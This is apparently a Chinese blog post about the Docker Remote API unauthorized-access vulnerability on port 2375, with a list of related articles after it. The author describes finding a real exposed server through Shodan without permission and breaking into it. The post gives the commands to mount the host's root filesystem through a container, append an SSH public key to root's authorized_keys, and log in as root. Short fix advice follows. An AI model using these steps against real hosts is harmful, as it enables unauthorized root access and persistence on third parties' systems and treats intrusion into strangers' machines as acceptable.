docker remote  api主要的目的是取代命令行界面,

docker client和docker daemon通过unix domain socket进行通信.

默认情况下,只有本机的root和docker组用户才能操作docker.

0x01漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守护进程监听在0.0.0.0,外网可访问
3.没有使用iptable等限制可连接的来源ip。

0x02漏洞危害及常见的攻击方式
1.远程对被攻击主机的docker容器进行操作

docker  -H tcp://*.*.*.*:2375 images

2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash

具体的步骤是:

我没有自己搭建环境做测试,在shodan搜索port:2375找了一台机器,再找X国的机器,再找对应product是docker的主机,随机找了1台,可以看到宿主机的镜像,然后开始利用漏洞:

其实有很多,找到这些后在本地装有docker的机器上使用如下命令开始测试:

docker -H tcp://x.x.x.x:2375 images 

能看到宿主机的镜像,说明漏洞存在

开始利用:

在宿主机上启动docker容器:

 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113a43faa138 /bin/bash        (113a43faa138为images ID )

这条命令的意思是启动一个image ID 为113a43faa138的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell:

然后进入 cd /root/mnt 目录

接下来开始创建免密钥登录文件(将本地的公钥存放在被入侵的服务器上)

mkdir .ssh   目录

假如存在.ssh文件夹,则进入该文件夹修改authorized_keys文件,将本地生成公钥字符串放入改文件中,

root@180d2dd6287a:/mnt/root/.ssh# vi authorized_keys
bash: vi: command not found
root@180d2dd6287a:/mnt/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNtdT1CyvMJTAHlhE2jZXSlIFG+FebBgLezKiEkl+XHt7BEwjwoRmT9q1cEtjTZe/DdfDS6kW9nzZwN3wxC5KSMppq0NS19MGnr9DrUkv2tAlXuwkVLPRZeKCMODEOI9ZeEwEz71PWD0MX7EkDBJxC+9FfWHvxCcXu+xyuj/f3j8zwScOCR0SqQfNp013j7CI/4ZYzzkMzcpI6LBo/jv0A/Hp3ODYdc8Urn6u4ZBzze1UAH27shx/I/6GBWMt9TLFgHvdXtEBD7r+vmQIMJxBXR8pZpuvCU54j3+NTi15LMWyY5ar/jOB9EEdIgdmRk4Ccqv92XQQ/ root@zabbix-mysql-master- >>authorized_keys # 这里使用追加的方式(>>)

替换成功,接下来在本地机器上使用命令:

Ssh root@x.x.x.x 登录,顺利登录:

随后修改了该机器的/etc/issue登录提示文件,告诉机主该机器docker存在漏洞,貌似目前已修复

修复方法:

1、设置ACL,只允许信任ip连接对应端口

2、开启TLS,使用生成的证书进行认证

https://docs.docker.com/engine/security/https/

Docker_remote_api未授权访问漏洞的更多相关文章

  1. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  2. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  3. WordPress Backdoor未授权访问漏洞和信息泄露漏洞

    漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...

  4. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  5. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  6. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  7. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  8. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  9. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

随机推荐

  1. 面试题思考:Stack和Heap的区别

    堆栈的概念: 堆栈是两种数据结构.堆栈都是一种数据项按序排列的数据结构,只能在一端(称为栈顶(top))对数据项进行插入和删除.在单片机应用中,堆栈是个特殊的存储区,主要功能是暂时存放数据和地址,通常 ...

  2. zoj3662(dp)

    dp还是比较好想的,但是时间还是比较坑的. 要预处理还加些优化才行 . #include <stdio.h> #include <stdlib.h> #include < ...

  3. wireshark抓取OpenFlow数据包

    在写SDN控制器应用或者改写控制器源码的时候,经常需要抓包,验证网络功能,以及流表的执行结果等等,wireshark是个很好的抓包分析包的网络工具,下面简介如何用wireshark软件抓取OpenFl ...

  4. 记一次Project插件开发

    一.开发背景 最近在使用微软的Office Project 2010 进行项目管理,看到排的满满的计划任务,一个个地被执行完毕,还是很有成就感的.其实,不光是在工作中可以使用Project进行项目进度 ...

  5. 为什么 Java ArrayList.toArray(T[]) 方法的参数类型是 T 而不是 E ?

    前两天给同事做 code review,感觉自己对 Java 的 Generics 掌握得不够好,便拿出 <Effective Java>1 这本书再看看相关的章节.在 Item 24:E ...

  6. vertical-align 使用参考

    在实现文字与图片垂直对齐的时候,发现了vertical-align的值也是很纷繁复杂,博客讲解各种不懂,最终还是找了CSS权威指南-中文第三版,看了前6章,终于弄明白了,如果你也有不懂的地方,请去看书 ...

  7. MySQL中的注释(有三种)

    MysQL支持三种注释: .#... (推荐这种,具有通性) ."-- ..." (注意--后面有一个空格) ./*...*/

  8. Windows如何使用Apache的ab工具进行网站性能测试(Apache服务器自带了ab压力测试工具,可以用来测试网站性能,使用简单方便)

    打开Apache服务器的安装路径,在bin目录中有一个ab.exe的可执行程序,就是我们要介绍的压力测试工具. 在Windows系统的命令行下,进入ab.exe程序所在目录,执行ab.exe程序.注意 ...

  9. 数据库系统概述(Data Model、DBMS、DBS、RDBS、Structured Query Language)

    数据Data 描述事物的符号记录成为数据. 数据是数据库中存储的基本对象.   除了基本的数字之外.像图书的名称.价格.作者都可以称为数据. 将多种数据记录列成一张表.通过数据表管理数据. 每一行的数 ...

  10. angular.js记录

    http://www.runoob.com/angularjs/angularjs-tutorial.html 第一部分:快速上手1.1 angularJS四大核心特性1.2 自己动手搭建开发,调试, ...